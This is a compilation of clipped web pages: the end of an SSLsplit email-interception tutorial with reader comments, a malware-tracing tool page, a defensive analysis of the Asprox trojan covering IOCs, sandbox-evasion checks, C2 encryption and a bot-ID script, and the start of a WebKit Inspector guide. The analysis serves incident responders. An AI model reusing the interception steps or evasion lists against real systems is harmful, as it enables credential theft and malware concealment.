console**.** The SMTP conversation shows a humorous greeting of the Gmail
server \(`250-mx.google.com at your service ..**.**`\), as well as the initial
login of the Thunderbird client using SMTP AUTH \(`AUTH PLAIN ..**.**`\). It
then starts drafting the mail using standard SMTP commands \(`MAIL FROM`,
`RCPT TO`, …\)**.**

Again, the most interesting part is the plain text authentication: Since the
transport is secure, the password is sent in plain text — only encoded using
Base64**.** So if the line above was something like `AUTH PLAIN
Qml0ZSBtZSBpZiB5b3UgY2FuISEhISEhIQo=`, it could be easily decoded with the
one-liner:

`echo 'Qml0ZSBtZSBpZiB5b3UgY2FuISEhISEhIQo=' | base64 --decode`**.**  
I’ll leave it to you to decode this :-\).

Advertisement

### 5 Comments****

  1. <img src='http://1.gravatar.com/avatar/78dd0aaa531c8f9a025779f1bad5fc73?s=65&d=http%3A%2F%2F1.gravatar.com%2Favatar%2Fad516503a11cd5ca435acc9bb6523536%3Fs%3D65&r=G' width='65' height='65' /> Anonymous August 29th, 2013 
Dear Philipp,

First of all thank you very much for the nice and detailed tutorial on
sslsplit usage**.** I am trying to show my management that having WI-FI in
corporate network without changing a short password for years is not secure
and that is very possible to sniff the whole internet traffic by someone
else**.**

All works great, but I have problems with gmail**.** sslstrip is not working
in modern browsers, seems to be because of HSTS**.** sslsniff is not working
either, all my browsers always ask to confirm certificates and that never
ends**.** permanent connection timeouts with ettercap, etc, etc**.**

I am sorry for bothering you with this, but do you have a working workaround
for intercepting gmail today**?**

Thank you\!

  2. Hello,
You must import your generated root CA in your browser’s or operating system’s
trust store**.** If you do that, your browser should not complain about the
certificate because it was signed by a trusted CA**.** Without importing this
CA, there is no chance deliver a certificate that the browser does not
complain about**.**

I hope that answers your questions**.**

Best regards  
Philipp

  3. <img src='img/Temp2_8751.png' width='65' height='65' /> Benidiktus September 15th, 2013 
Hi Philipp,

Nice to read your blog**.** I’m interesting to sniffing and of course how to
prevent myself to be sniffed**.** I use an old tool for windows the name is
Chain and Abel i think you know that tools**.** This tool is complete to HTTP,
SSL and other protocol**.**

From my experiments the important think to success sniff HTTP and SSL is
accept CA**.** I found some vulnerability in email application on android**.**
Setting option to accept all certificate can make all inbox can be read i have
done this with gmail and work perfectly**.** I try to sniff outlook.com but i
can’t get to read the message**.** I found a big problem in outlook.com when
my email client setting is check for accept all certificate it can capture my
username and password perfectly**.** I try to uncheck that option and email
client can not connect to server and get my account**.**

  4. <img src='http://0.gravatar.com/avatar/a43a568a0b30465a25bda928c30579b5?s=65&d=http%3A%2F%2F0.gravatar.com%2Favatar%2Fad516503a11cd5ca435acc9bb6523536%3Fs%3D65&r=G' width='65' height='65' /> Schawen September 25th, 2013 
Hello Philipp,  
first of all … – thank you for your very interesting blogs**\!**  
I installed sslsplit on  
Linux raspberrypi 3**.** 6.11+ \#538 PREEMPT armv6l GNU/Linux  
following your description but getting following error on execution:  
…  
Event base supports: edge yes, O\(1\) yes, anyfd no  
Inserted events:  
0xf53238 \[fd 7\] Read Persist  
0xf532a4 \[fd 8\] Read Persist  
0xf54224 \[fd 9\] Read Persist  
0xf53128 \[fd 6\] Read Persist  
0xf52558 \[fd 3\] Signal Persist  
0xf51738 \[fd 1\] Signal Persist  
0xf54600 \[fd 2\] Signal Persist  
0xf562c0 \[fd 13\] Signal Persist  
Failed to start thread manager  
\*\*\* glibc detected \*\*\* **.** /sslsplit: double free or corruption
\(fasttop\): 0x00f530e0 \*\*\*  
Abgebrochen

Any idea**?**

Grüße von der Alb  
Sven

  5. Hello Sven,
this is probably an issue with the Raspberry Pi, but I cannot say for
sure**.** I am not the developer of SSLsplit, so I know very little about its
inner workings — except maybe for the general concepts of SSL
interception**.** You can contact the author of the tool here:
http://www.roe**.** ch/SSLsplit

Grüße in die Alb :-\)  
Philipp

### Leave a comment****

I'd very much like to hear what you think of this post**.** Feel free to leave
a comment**.** I usually respond within a day or two, sometimes even
faster**.** I will not share or publish your e-mail address anywhere**.**

Click here to cancel reply**.**

  * Name\* 
  * Email\* 
  * Website 
  * Comment\* 

****

# tartetatintools - a bunch of experimental pintools for malware analysis -
Google Project Hosting

**Created:**| _6/9/2011 11:24:51 AM_  
---|---  
**Updated:**| _6/9/2011 11:24:51 AM_  
**Author:**| __  
**Tags:**| _Practical Software Verification binary instrumentation DynamoRIO_  
  
his project is currently made of TraceSurfer, a self-modifying code analyzer
coming with an IDA add-on.It can:

  * generate trace of memory references
  * import these traces in the popular IDA Pro disassembler and tag the disassembled code with runtime information
  * generate graphs showing a high-level analysis of the self-modifying behavior, useful for malware analysis

### Getting Started

  1. download and install the latest Pin kit for your system from http://www.pintool.org \(a pre-built binary is included for Pin v33586 for Windows\)
  2. unzip the archive in %PIN\_HOME%\source\tools
  3. \(optionally\) download and install pydot if you want to generate graphs

You can now build TraceSurfer from source or run the following command to
trace any executable:

[code]

    tracesurfer [options] -- <binary>
[/code]

A trace file will be generated \(binary.trace.out\), that can be imported in
IDA Pro \(known to work with version 5.5\) or analysed with the following
command:

[code]

    python utils\tracesurfer.py binary.trace.out
[/code]

To import a trace file in IDA:

  1. open the traced binary in IDA
  2. press alt-9 to run the utils\ida-tracesurfer.py IDAPython script
  3. select the trace file to open
  4. wait and see

### How to build from source

The following is known to work with Microsoft Visual C++ 2008 Express Edition:

  1. open the Visual Studio 2008 Command Prompt
  2. go to directory %PIN\_HOME%\source\tools\TraceSurfer
  3. if you are on an x64 system and want to build a 32-bit pintool, run 
[code]    set TARGET=ia32

[/code]

  4. run 
[code]    ..\nmake

[/code]

  
---

# Better than pastebin...: Inside The New Asprox/Kuluoz \(October 2013 -
January 2014\)

**Created:**| _2/3/2014 9:34:27 AM_  
---|---  
**Updated:**| _2/3/2014 9:34:27 AM_  
**Author:**| __  
**Tags:**| _Malware-analysis_  
  

# **I** nside The New Asprox/Kuluoz \(October 2013 - January 2014****\)

In the past few months we have seen asprox rise to be one of the leading
e-mail distributed trojans in North America**.** Asprox is a lightweight
trojan that is used to maintain control of an infected host and download
either additional functionality \(directy related to the Asprox botnet\) or
install a second-stage payload to an infected host as part of an affiliate
network \(partnerkas\)**.**

A full overview of the botnet can be found in Trend Micro's report "_Asprox
Reborn_ " \(note the bot behaviour is now different from what is described in
the report\) or in Michal Ambroz's excellent post "_Asprox Botnet - Phishing
Malware As a Service_ "**.**

This report details the recent evolution of the asprox first-stage trojan, its
behaviour, new encryption scheme, new IOCs**.** While much has already been
written about the asprox botnet this report will expose the inner-working of
the first-stage trojan in an effort to help researchers and incident
responders both understand and protect against this trojan**.**

A note on semantics: Asprox is also known as Kuluoz by anti-virus vendors**.**
I have been told that asprox is used to refer to the botnet infrastructure
while kuluoz refers to the actual trojan**.** For the sake of simplicity
asprox will be the only term used in this report to refer to the malware under
analysis**.**

###  Delivery Method****

Asprox e-mails all follow a similar pattern, one that you are sure to be
familiar with if you have been investigating malware in the past few
months**.** The e-mail's masquerade as parcel deliveries, airline
reservations, court appointments, resumes, etc**.** The e-mail references an
attachment which is usually an attached .zip file that contains the trojan
.exe**.** In October 2013 the e-mails used a link that would download a .zip
but since November 2013 all e-mails collected have had attachments**.**

###  Examples of Asprox E-Mails****

The following posts and reports detail the types of e-mails that asprox is
distributed by: Fake Delta, American Airlines, or US Airways , My\_CV ,
Court\_Notice , Adobe License Key **.**

###  The Trojan****

Though the trojan in the zip file is just an .exe the icon has been changed to
make it appear as a word document**.** With the default windows configuration
set to hide file extensions the trojan can easily trick a victim into clicking
on it**.**

<img src='img/Temp2_1012.png' />  
---  
Asprox trojan attachment  
When the trojan is executed the victim will see Notepad open with a
message**.** This message changes based on the version of asprox but the
current string is "Unknown ERROR**\!** Please wait and try again later**.** "
This is used to trick the victim into assuming the attachment was an error and
nothing malicious has occurred**.** For a full description of what is
happening behind the scenes see the _Initial Infection_ section of this
report**.**

<img src='img/Temp2_1022.png' />  
---  
Asprox notepad with fake error message  
###  Initial Infection****

When a victim executes the asprox trojan it will appear as though they have
opened a Word document in Notepad, strange but not malicious**.** However,
behind the scenes asprox is busy installing itself on the host**.** In the
next sections the true behaviour of the asprox trojan will be revealed**.**

###  Packer****

The asprox trojan is packed in what appears to be a custom packer which is
refreshed for each e-mail campaign**.** These packers usually have a fairly
high detection rate after the first day of the e-mail campaign \(initial
detection rates are unknown at this time\)**.** This report does not examine
the packer in detail as it is simply used to inject a process with the asprox
trojan**.**

###  Injection and Initial Setup****

The packer behaviour is as follows:

  * unpacks itself to a new process with the same name
  * executes a copy of 32bit svchost.exe \(on a 64bit host it uses the C:\Windows\SysWOW64\svchost.exe path\) 
  * injects the asprox trojan into the new svchost process

<img src='img/Temp2_1024.png' />  
---  
Asprox initial injection caught in process explorer  
The asprox trojan that is injected into the svchost process is a dll**.** This
dll can be extracted from the injected process for further analysis \(see
_Incident Response and Remediation_ section of this report for further
details\)**.** Once the asprox.dll is injected it takes over control of the
program flow**.**

The asprox.dll actually has a small code stub that it uses to inject itself
into the svchost.exe process so technically this is not the packer**.**
Normally this stub would not be of much interest to us except for the way that
gets the addresses for the library functions it uses**.**

Since it is injected the asprox.dll gets the address of GetProcAddress by
"walking" from the Process Environment Block down to the Module List and
comparing the module names against a hash of "kernel32.dll" \(the hash is
0x6A4ABC5B\)**.** This is where we see the first interesting IOC and gain some
possible insight into the origins of asprox**.** The code used to perform this
function matches similar code found in Zeus**.** It is possible that this
section was copied from the leaked Zeus source or from a research blog post
explaining how it works**.** Further explanation of this code can be found
here **.**

<img src='img/Temp2_1019.png' />  
---  
Asprox hash compare to find kernel32.dll module  
As for our IOC we can now use a yara rule to search for the following bytes in
memory \(ex**.** with Volatility\) 0x81 0xff 0x5b 0xbc 0x4a 0x6a which
represents the assembly instruction cmp edi,0x6a4abc5b**.** This IOC by itself
is not unique to asprox.

Once the asprox.dll has been successfully injected into svchost.exe it kills
its parent processes \(the processes started by the packer\) leaving an orphan
svchost.exe process running under explorer.exe**.** This is our second IOC; an
svchost.exe process running under explorer.exe**.** Again this IOC is common
to many families of malware and not unique to asprox**.**

<img src='img/Temp2_1018.png' />  
---  
Asprox injected svchost.exe under explorer.exe  
The main loop for the asprox.dll is then called through the asprox.dll export
"Work"**.** This concludes the initial injection of the asprox.dll**.**

###  Persistence****

When the Work function is first called it attempts to create a mutex with a
hard coded string**.** If the mutex is already in use the dll knows that
another copy of itself is running and it terminates its host process**.**
Though the hardcoded mutex string does make a unique IOC it is frequently
changed so it cannot be relied on as a generic asprox identifier**.**

<img src='img/Temp2_1027.png' />  
---  
Asprox test for mutex  
Before entering the main loop of the Work function the asprox.dll checks the
local user run key
\(HKEY\_CURRENT\_USER\Software\Microsoft\Windows\CurrentVersion\Run\) to see
if any key values have been set for its on-disk .exe file**.**

If no run key is set then it attempts to hide its presence by copying its on-
disk exe to a new file in the %LOCALAPPDATA% folder**.** The new file name is
a randomly generated string of 8 lowercase letters**.** The original on-disk
.exe file is then deleted**.** Here we have our next IOC, there will be an
.exe in the %LOCALAPPDATA% folder with a random 8 letter lowercase name**.**

<img src='img/Temp2_1016.png' />  
---  
Asprox copied to %LOCALAPPDATA% folder  
If there is a run key set then it will skip the file copy function and after
10 successful network communications with the c2 it will set a run key for the
on-disk exe**.** The run key name is generated using 8 random lowercase
letters**.** This provides us with another IOC.

<img src='img/Temp2_1025.png' />  
---  
Asprox run key using randomly generated 8 lowercase letters  
###  Antivirus/Sandbox/Researcher Detection and Evasion****

All versions of the asprox.dll collect the following information from its
environment: firewall configuration, antivirus configuration, OS version,
32/64bit**.** This information is later reported back to the c2 in the <debug>
element**.**

The firewall and antivirus configuration is collected using Microsoft's wbem
service via the COM interface**.** The "ExecQuery" function is called on the
wbem object so the input requires ascii strings which can be found in the
process memory**.** These strings provide us with another IOC: "SELECT \* FROM
AntiVirusProduct" and "SELECT \* FROM FirewallProduct" \(these strings are
unicode\)**.** This IOC does not indicate malicious behaviour by itself but
combined with other IOCs from this report it can be used to identify
asprox**.**

<img src='img/Temp2_1017.png' />  
---  
Example of asprox checking what antivirus products are installed on the host  
Recent versions of the asprox.dll include examination of the environment in an
attempt to determine if the asprox.dll is running in a sandbox or if a
researcher is attempting to analyze it**.** The malware uses the FindWindow
function to search for known analysis tools as well as enumerating various
registry keys**.** This information is then passed to the c2 in <src>
element**.** The window names and registry keys that are searched for are
listed below \(as of the latest version\)**.**

####  Window Names****

wireshark.exe

Tfrmrpcap

iptools.exe

Iris-Version5**.** 59

ProcessLasso\_Notification\_Class

TSystemExplorerTrayForm.UnicodeClass

PROCMON\_WINDOW\_CLASS

PROCEXPL

WdcWindow

ProcessHacker

99929D61-1338-48B1-9433-D42A1D94F0D2-x64

99929D61-1338-48B1-9433-D42A1D94F0D2-x32

99929D61-1338-48B1-9433-D42A1D94F0D2

Dumper

Dumper64

APISpy32Class

VMwareDragDetWndClass

VMwareSwitchUserControlClass

vmtoolsd.exe

prl\_cc.exe

prl\_tools.exe

SharedIntApp.exe

VBoxTray.exe

VBoxService.exe

vmusrvc.exe

vmsrvc.exe

####  Registry Keys****

HKEY\_LOCAL\_MACHINE\SYSTEM\\\CurrentControlSet\\\services\\\Disk\\\Enum
0=VMware

HKEY\_LOCAL\_MACHINE\SYSTEM\\\CurrentControlSet\\\services\\\Disk\\\Enum
0=PTLTD

HKEY\_LOCAL\_MACHINE\SYSTEM\\\CurrentControlSet\\\services\\\Disk\\\Enum
0=Virtual

HKEY\_LOCAL\_MACHINE\HARDWARE\\\DESCRIPTION\\\System\\\BIOS
SystemProductName=VMware

HKEY\_LOCAL\_MACHINE\HARDWARE\\\DESCRIPTION\\\System\\\BIOS
SystemProductName=PTLTD

HKEY\_LOCAL\_MACHINE\HARDWARE\\\DESCRIPTION\\\System\\\BIOS
SystemManufacturer=VMware

HKEY\_LOCAL\_MACHINE\HARDWARE\\\DESCRIPTION\\\System\\\BIOS
SystemManufacturer=PTLTD

HKEY\_LOCAL\_MACHINESYSTEM\\\CurrentControlSet\\\Enum\\\PCI\\\VEN\_15AD&DEV\_0774&SUBSYS\_040515AD&REV\_00

HKEY\_LOCAL\_MACHINESYSTEM\\\CurrentControlSet\\\Enum\\\PCI\\\VEN\_15AD&DEV\_0774&SUBSYS\_074015AD&REV\_00

HKEY\_LOCAL\_MACHINESYSTEM\\\CurrentControlSet\\\Enum\\\PCI\\\VEN\_80EE&DEV\_CAFE&SUBSYS\_00000000&REV\_00

HKEY\_LOCAL\_MACHINE\HARDWARE\\\ACPI\\\DSDT\\\PTLTD\_\_

HKEY\_LOCAL\_MACHINE\SYSTEM\\\CurrentControlSet\\\services\\\Disk\\\Enum
0=Virtual

HKEY\_LOCAL\_MACHINE\SYSTEM\\\CurrentControlSet\\\services\\\Disk\\\Enum
0=PRLS

HKEY\_LOCAL\_MACHINE\HARDWARE\\\DESCRIPTION\\\System\\\BIOS
SystemProductName=Virtual

HKEY\_LOCAL\_MACHINE\HARDWARE\\\DESCRIPTION\\\System\\\BIOS
SystemProductName=PRLS

HKEY\_LOCAL\_MACHINE\HARDWARE\\\DESCRIPTION\\\System\\\BIOS
SystemManufacturer=Virtual

HKEY\_LOCAL\_MACHINE\HARDWARE\\\DESCRIPTION\\\System\\\BIOS
SystemManufacturer=PRLS

HKEY\_LOCAL\_MACHINE\SYSTEM\\\CurrentControlSet\\\services\\\Disk\\\Enum 0=
VBox

HKEY\_LOCAL\_MACHINE\HARDWARE\\\DESCRIPTION\\\System\\\BIOS\ SystemProductName
= VBox

HKEY\_LOCAL\_MACHINE\HARDWARE\\\DESCRIPTION\\\System\\\BIOS\
SystemManufacturer=VBox

HKEY\_LOCAL\_MACHINE\HARDWARE\\\ACPI\\\DSDT\\\VBOX\_\_

HKEY\_LOCAL\_MACHINE\HARDWARE\\\DESCRIPTION\\\System\\\BIOS\ SystemProductName
= AMIBI

HKEY\_LOCAL\_MACHINE\HARDWARE\\\DESCRIPTION\\\System\\\BIOS\
SystemManufacturer = AMIBI

HKEY\_LOCAL\_MACHINE,
"SYSTEM\\\CurrentControlSet\\\Enum\\\PCI\\\VEN\_5333&DEV\_8811&SUBSYS\_00000000&REV\_00

HKEY\_LOCAL\_MACHINE,
"SYSTEM\\\CurrentControlSet\\\Enum\\\PCI\\\VEN\_80EE&DEV\_BEEF&SUBSYS\_00000000&REV\_00

HKEY\_LOCAL\_MACHINE,
"SYSTEM\\\CurrentControlSet\\\Enum\\\PCI\\\VEN\_80EE&DEV\_CAFE&SUBSYS\_00000000&REV\_00

HKEY\_LOCAL\_MACHINE, "HARDWARE\\\ACPI\\\DSDT\\\AMIBI

The new versions of asprox.dll also added a 2min sleep to its initialization
section which I suspect is an attempt at sandbox evasion**.** We can see when
running the version with the sleep in the cuckoo sandbox that the 2min sleep
is enough to evade much of the detection **.**

All of the checks happen in the "setup section" before the main loop in the
asprox.dll so you can trick the window name searcher by not running any of
your tools until after you see the asprox.dll make its first network call**.**
You can also easily hide the registry keys or write a simple hook for
RegQueryValueEx**.** Also if there is a run key that matches the image name of
the process then the environment analysis is skipped**.**

###  Incident Response and Remediation****

Asprox is built to enable downloading and installation of a second-stage
payload so it is very likely that the asprox.dll will be replaced by another
piece of malware if an infected host is not attended to quickly**.** However,
if a system is infected with the asprox.dll the following steps can be used to
collect a sample of the .dll and clean the infected host**.**

Evidence Collection and Host Remediation

  1. Verify the host is infected with asprox using the IOCs in this report**.** Note the PID of the svchost.exe process that is running under explorer.exe
  2. Use your favourite memory dump tool to dump the host memory and save to your analysis system
  3. Use process explorer to kill the svchost.exe process that is running under explorer.exe
  4. Open the %LOCALAPPDATA% folder and delete all instances of the asprox .exe \(identified by the random 8 lowercase letter names\)
  5. Open regedit and delete all run keys for the asprox.exe located in HKEY\_CURRENT\_USER\Software\Microsoft\Windows\CurrentVersion\Run
  6. Open regedit and delete all asprox registry keys in HKEY\_CURRENT\_USER\Software\ identified by the random 8 lowercase letter names \(see more on how to positively identify these keys in the _Communication:Group ID_ section of this report\)**.**

####  Evidence Analysis****

  1. If you want to further analyze the asprox.dll that was injected into the scvhost process you can use volatility an run malfind on the svchost PID that you noted in the above steps**.**
  2. Once malfind has completed dumping the injected code you can easily locate the asprox dll in the segments by searching for the "MZ" header**.** The header will appear in multiple sections but only one of them has the full DLL \(the one that has a sub of set-up code before the MZ\)**.**
  3. Use your favourite hex editor to extract the dll**.**
  4. Once you have extracted the dll it doesn't contain any anti-debugging/analysis features so you can easily analyze it**.**
  5. Post your analysis : \)

###  Communication****

Asprox communicates with its c2 using HTTP**.** Traditionally the requests
where HTTP GET requests using RC4 encryption with a unique but static key**.**
The Trend Micro report "_Asprox Reborn" _describes this communication in
detail**.** However, the new versions of asprox use a much more complicated
encryption scheme with HTTP POST requests**.** The new encryption scheme has
been described here  but this report will elaborate on the description**.**

###  ID Generator****

Each bot is assigned a unique ID that is both used to identify them to the
c2**.** The ID is generated using the following algorithm

md5\( binary\_SID + os\_install\_date + account\_name\_string\)**.**

Note, when RegOpenKeyExA is called to access the os install date registry key
the KEY\_WOW64\_64KEY flag is not passed on the samDesired argument**.** Since
asprox.dll runs in a 32bit process the fact that it is missing this flag means
that when it runs on a 64bit system it will access the wrong registry and the
will get a null value**.** This means that os install date that is used as
part of the ID hash will be 0x0000 for all 64bit systems.

<img src='img/Temp2_1014.png' />  
---  
RegOpenKeyExA to get OS install date without the KEY\_WOW64\_64KEY flag set  
In addition to identification a substring of the ID is also used for
encryption**.** The first 4 bytes of the ID are used to create an ID\_Key that
is used to encrypt and decrypt locally stored values in registry keys as well
as encrypt the URL for the c2 communication**.**

I have included a small powershell script that will enable you to generate an
asprox ID and ID\_Key for any system**.** Note: the script will not work on
domain joined systems as the NTAccount method would need to be adapted to get
the domain SID**.**

[code]

    $sUsername = [Environment]::UserName
    $bUsername = [system.Text.Encoding]::UTF8.GetBytes($sUsername)
    
    
    $objUser = New-Object System.Security.Principal.NTAccount($sUserName)
    $strSID = $objUser.Translate([System.Security.Principal.SecurityIdentifier])
    $bSid = New-Object 'byte[]' $strSID.BinaryLength
    $strSID.GetBinaryForm($bSid,0)
        
    if([IntPtr]::Size -eq 4){                        
        $key="hklm:\software\microsoft\windows nt\currentversion"
        $data = Get-ItemProperty -Path $key -Name "InstallDate"
        $bInstallDate = [System.BitConverter]::GetBytes($data.InstallDate)                       
    }                        
    Else{    
        #account for error in asprox wow64 reg key lookup                    
        $bInstallDate = [System.BitConverter]::GetBytes(0x0000)                        
    }
    
    $md5 = new-object -TypeName System.Security.Cryptography**.** MD5CryptoServiceProvider
    $utf8 = new-object -TypeName System.Text.UTF8Encoding
    $hash = [System.BitConverter]::ToString($md5.ComputeHash($bSid + $bInstallDate + $bUsername))
    $Id = $hash -replace '-',''
    $IdKey = $Id.Substring(0,8)
    
    echo "ID: $Id"
    echo "ID Key: $IdKey"
[/code]

###  Group ID****

In addition to a unique ID the bot is assigned a Group\_ID**.** Though we
can't be certain what the Group\_ID is used for we can hypothesize that it is
used to track groups of bots and make bot management easier**.** When
asprox.dll runs if there is no run key set for it then it will assign the
Group\_ID based on hard coded string in the asprox.dll**.**

If there is a run key set then it will enumerate all keys in
HKEY\_CURRENT\_USER\Software and attempt to RC4 decrypt each key value using
the ID\_Key**.** It will then compare the decrypted key value against the
string "For group**\!****\!****\!**\!\!" if the string matches then it will
take the remaining portion of the string \(after the for group part\) and use
that as the Group\_ID**.**

<img src='img/Temp2_1021.png' />  
---  
Asprox enumerating HKEY\_CURRENT\_USER\Software for "For
Group**\!****\!**\!\!**\!** " key  
This provides us with another IOC; a registry key in
HKEY\_CURRENT\_USER\Software with a name composed of 8 random lowercase
letters who's value can be decrypted by the host Key\_ID to display the string
"For group**\!****\!****\!**\!\!<group\_id>". This key is only set when
asprox.dll has successfully communicated with the c2 10 times**.**

<img src='img/Temp2_1026.png' />  
---  
Example of asprox For Group**\!****\!****\!**\!\! registry key  
###  IP Addresses****

Asprox gets its IP addresses from one of two locations, either a registry key,
or hard coded in the asprox.dll**.** Each time asprox.dll makes a new network
request to the c2 it uses the same method described above in _Group ID_ to
enumerate all the keys under HKEY\_CURRENT\_USER\Software, decrypt their
values, and compare them to the string "You Fag**\!****\!**\!\!**\!** ". If
the string compare matches then the part of the key after the you fag string
is interpreted as an in\_addr struct**.** This key is only set when asprox.dll
receives new IP addresses from the c2**.**

If no registry key is found then the asprox.dll uses a hard coded ip address
that is RC4 encrypted with a hardcoded key**.** The hardcoded key varies with
each version of asprox**.**

###  URL String****

The URL path is hard coded in the asprox.dll as "/index.php**?** r=gate" but
it is RC4 encrypted with the ID\_Key and prepended with the ID\_Key before
being sent**.** The new versions of asprox use a POST instead of a GET so no
interesting parameters are passed in this URL**.**

###  Request Body \(XML****\)

The actual content sent by aprox.dll to the c2 is encapsulated in XML**.**
There are two versions of the XML a slightly older version and a newer
version**.** Both are described below.

####  Older Version****

XML| Explanation  
---|---  
<knock>| XML top element open  
<id>%s</id>| ID string  
<group>%s</group> | Group ID string  
<time>%d</time> | Negative timestamp  
<version>%d</version> | Hardcoded bot version  
<status>%d</status>| Status of last command  
<debug>%s</debug>| Environment information such as OS version, 64/32bit,
firewall, antivirus  
</knock>| XML top element close  
####  New Version****

XML| Explanation  
---|---  
<knock>| XML top element open**.**  
<id>%s</id>| ID string**.**  
<group>%s</group> | Group ID string**.**  
<src>%d</src> | Reports if any of the researcher tools or sandbox string are found**.**  
<transport>%d</transport> | Reports if asprox is running from a removable drive**.** This may hint at a possible worm version in the future**.**  
<time>%d</time> | Negative timestamp**.**  
<version>%d</version> | Hardcoded bot version**.**  
<status>%d</status>| Status of last command**.**  
<debug>%s</debug>| Environment information such as OS version, 64/32bit,
firewall, antivirus**.**  
</knock>| XML top element close  
###  Request Encryption****

Once the XML body has been constructed it is bzip compressed and then RC4
encrypted with a dynamically generated key**.** They key is then RSA encrypted
with the following public certificate:

\-----BEGIN PUBLIC KEY-----

MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDCUAUdLJ1rmxx+bAndp+Cz6+5I

Kmgap2hn2df/UiVglAvvg2US9qbk65ixqw3dGN/9O9B30q5RD+xtZ6gl4ChBquqw

jwxzGTVqJeexn5RHjtFR9lmJMYIwzoc/kMG8e6C/GaS2FCgY8oBpcESVyT2woV7U

00SNFZ88nyVv33z9+wIDAQAB

\-----END PUBLIC KEY-----

The encrypted key and body are then sent as part of the POST request body**.**
The format of the POST request varies between the slightly older version and
the newer version of the bot**.** Both formats are described below.

####  Older Version****

The older version uses multipart/form-data as the content-type and separates
the key and body into two separate streams name="key" filename="key.bin" and
name="data" filename="data.bin"**.**

<img src='img/Temp2_1023.png' />  
---  
Example of older style asprox encrypted request  
####  New Version****

The new version uses application/x-www-form-urlencoded as the content-type and
does not have any ascii strings in the body**.** This eliminates any network
IOCs that we might have used from the older version**.**

<img src='img/Temp2_1013.png' />  
---  
Example of new style asprox encrypted c2 request  
If we take a closer look at the data that is being sent in the body we can
decipher how the key and body are combined**.** The first 4 bytes of the body
represent the length of the encrypted key \(little endian\) 0x00000080**.**
This is followed by the encrypted key. The encrypted key is followed by
another 4 bytes that represent the length of the encrypted body
0x000000b6**.** These 4 bytes are then followed by the encrypted body**.**

<img src='img/Temp2_1020.png' />  
---  
A closer look at the new style of asprox encrypted c2 request  
###  Response Decryption****

The response that is received from the c2 follows the same pattern as
described above but instead of a key and body the c2 sends a RSA signed hash
of the response data and the actual response data bzip compressed and RC4
encrypted with the key that was sent with the request**.**

Examining the response we can see the first 4 bytes of the response body
represent the length of the RSA signed hash of the data \(little endian\)
0x00000080**.** This is followed by the RSA signed hash**.** The RSA signed
hash is followed by another 4 bytes that represent the length of the RC4
encrypted data 0x00000069**.** These 4 bytes are then followed by the RC4
encrypted data**.**

<img src='img/Temp2_1015.png' />  
---  
A close look at asprox c2 encrypted response  
###  Commands and Capabilities****

The commands have not changed since the release of the Trend Micro report
however their encoding has**.** The commands are now send in XML encapsulation
and are parsed by the MSXML 3**.** 0 COM service. An example of a command XML
is displayed below**.**

<knock>

<id>P35E71L7CK3DF19AD5D138677W6C734T</id>

<task type="idl" />

</knock>

The following commands are available to the asprox c2 server**.**

Command| Explanation  
---|---  
idl| Long sleep, no commands**.**  
rdl| Download and run asprox module**.**  
run| Download .exe, install and run it**.**  
rem| Uninstall**.** This command removes the asprox .exe, run key, and You
Fag**\!****\!**\!\!**\!** key but it doesn't remove the For
Group\!**\!****\!**\!\! key. This can be used as a potential IOC to prove
asprox was installed if it removes itself**.**  
red| Update registry keys**.**  
upd| Update asprox .exe  
###  Samples and IOCs****

Memory only IOC can be found in IOC Bucket **.** This IOC is tailored to only
match on the memory strings that will be most difficult for the malware
authors to modify**.** Disk IOC will be posted as soon as OpenIOC 1**.** 1
gains wider adoption \(especially by you Mandiant\) ..**.** your move**.**

####  Samples****

The older new version of asprox and the extracted dll can be found here while
the new version of asprox and the extracted dll can be found here**.**

The cuckoo sandbox report for the older new version of asprox can be found
here  while the cuckoo sandbox report for the new version of asprox can be
found here **.**

I will make all my IDA analysis .idb files available to researchers who are
interested in verifying my work or collaborating**.** Please contact me
@herrcore  \(I will only share with folks who I know or who can be verified by
someone I know\)**.**

###  Next Steps****

If you are interested in collaborating on a research project please contact me
@herrcore **.** I have a few ideas of where to take this but I'll need some
help**.**

I will also be posting a smaller report detailing how asprox has evolved over
the past five months**.** My intent is to provide some insight into how the
asprox developers work and what direction the botnet might be heading in**.**

###  Final Note****

The developers of Asprox have been shown to be very reactive to reports that
are generated by researchers; one week after posting about the hard-coded
multipart boundary string in their POST requests they updated the bot and
removed the string from their POST requests**.** I expect that this report
will cause them to change the communication and encryption of the bot but any
changes will be quick to reverse given the information that is provided in
this report**.**

****

# Modern Web Development

**Created:**| _11/7/2012 6:19:18 PM_  
---|---  
**Updated:**| _11/7/2012 6:19:18 PM_  
**Author:**| __  
**Tags:**| _web_  
  

# Modern Web Development

## The Webkit Inspector

~~_The blog post is the first in a series of posts that attempts to outline
what a modern web development toolchain looks like and how to use the best-of-
breed tools for efficient, effective development. Part two will outline how to
use to set up your Terminal, zsh, and vim_~~

The mobile landscape today is all but monopolized by WebKit, as a result, most
of the tooling and infrastructure to support mobile web development on the
frontend is taking place in the WebKit Inspector, so I’ll focus on it, and
take a deep dive into its entire feature-set and how and when to use it.

Google and the Chrome team have been pumping a ton of resources into the
WebKit Inspector. The changes have enabled a whole new class of complex and
ambitious applications that would have otherwise collapsed on their own
weight. This is great news, of course, but as I talk to more and more web
developers about their process and tooling, it became clear to me that many of
them haven’t caught up with the changes or aren’t making effective use of the
tooling available. This blog post attempts to remedy that, not only by walking
you through the inspector’s feature set, but also highlighting certain
techniques for bug hunting and feature development that I’ve found to be
indispensable. The post is meant to be scannable and shareable. **You can
click on any header to share a URL to a specific tip/technique or feature to
your friends.**

## Before We Start

Before we start, I want to make it clear that I don’t claim to have infallible
knowledge on tooling and process. If you find any of this information to be
incorrect, out-of-date, or inefficient, please reach out to me and let me
know, I’d love to hear your thoughts.

If you’re new to the inspector or have a passing knowledge of it, do me a
favor and play with it as you read this post. Trying things out are the best
ways to learn it\! “But Majd, I don’t want to keep creating new files and
loading them and editing them to test these things out\! I have kids to
feed\!” I hear you, and I agree with you, that’s where the data: URL scheme
comes in\!  
Try it out: Open a new tab of Chrome, and paste this into the address bar and
hit enter:

[code]

    data:text/html,<b>ZOMG I AM BOLD!?!!?</b>
[/code]

This is one of the easiest ways to get some HTML into the page and start
inspecting it and playing around/investing ideas. Anything after the comma is
interpreted as html and once loaded, you can open up the inspector and start
playing with it\!

## One Inspector to Rule Them All

There isn’t a single WebKit Inspector. In fact, there are 5 at any given time
that you can use:

  1. Safari Stable
  2. Chrome Stable
  3. WebKit Nightlies
  4. Chromium
  5. Chrome Canary

I’ve tried to sort them from oldest to newest. Chrome Canary gets updated with
new features all the time. After they bake for a while with the early
